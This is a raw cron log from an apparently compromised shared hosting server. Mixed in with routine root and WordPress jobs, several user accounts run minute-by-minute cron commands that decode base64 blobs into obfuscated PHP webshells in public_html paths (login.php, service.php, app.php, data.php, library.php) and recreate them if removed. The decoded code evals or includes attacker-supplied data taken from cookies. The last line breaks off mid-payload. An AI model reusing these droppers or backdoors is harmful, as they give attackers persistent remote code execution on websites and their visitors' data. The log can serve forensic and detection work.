Mar  1 06:28:01 medusa CROND[27830]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:28:02 medusa CROND[27972]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 06:28:02 medusa CROND[28010]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:28:02 medusa CROND[28013]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:28:02 medusa CROND[28014]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:28:02 medusa CROND[28015]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 06:28:02 medusa CROND[28021]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:28:02 medusa CROND[28022]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:28:02 medusa CROND[28020]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:28:02 medusa CROND[28024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:28:02 medusa CROND[28027]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:28:02 medusa CROND[28029]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:28:02 medusa CROND[28031]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:29:01 medusa CROND[32220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:29:01 medusa CROND[32315]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 06:29:01 medusa CROND[32347]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 06:29:01 medusa CROND[32349]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:29:01 medusa CROND[32350]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:29:01 medusa CROND[32351]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:29:01 medusa CROND[32352]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:29:01 medusa CROND[32364]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:29:01 medusa CROND[32365]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:29:01 medusa CROND[32366]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:29:01 medusa CROND[32367]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:29:01 medusa CROND[32370]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:29:01 medusa CROND[32371]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:30:01 medusa CROND[4634]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 06:30:01 medusa CROND[4688]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:30:02 medusa CROND[4983]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:30:02 medusa CROND[4984]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:30:02 medusa CROND[4985]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 06:30:02 medusa CROND[4989]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX